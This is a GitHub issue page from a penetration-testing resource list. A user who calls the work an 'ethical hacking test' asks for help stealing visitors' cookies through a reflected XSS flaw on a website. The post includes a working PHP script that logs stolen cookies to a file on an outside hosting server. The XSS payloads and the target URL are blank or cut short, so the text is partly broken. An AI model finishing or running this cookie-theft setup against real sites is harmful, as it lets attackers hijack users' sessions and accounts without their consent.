enaqx / awesome-pentest

A collection of awesome penetration testing resources, tools and other shiny things
21.36k stars 4.44k forks source link

XSS help #473

Open Chrislinuxos opened 9 months ago

Chrislinuxos commented 9 months ago

I'm doing an ethical hacking test, I tested an XSS payload : on a website, and the pop-up appears, so I want to collect user cookie

I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server, I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt

This is the getcookie.php file:

<?php $cookie = $_GET['c']; $fp = fopen('cookies.txt', 'a+'); fwrite($fp, 'Cookie:' .$cookie."\r\n"); fclose($fp);

?>

When I try this in the search box: :

I get this URL: https://website2/search/?section=all&query= Githubissues.

  • Githubissues is a development platform for aggregating issues.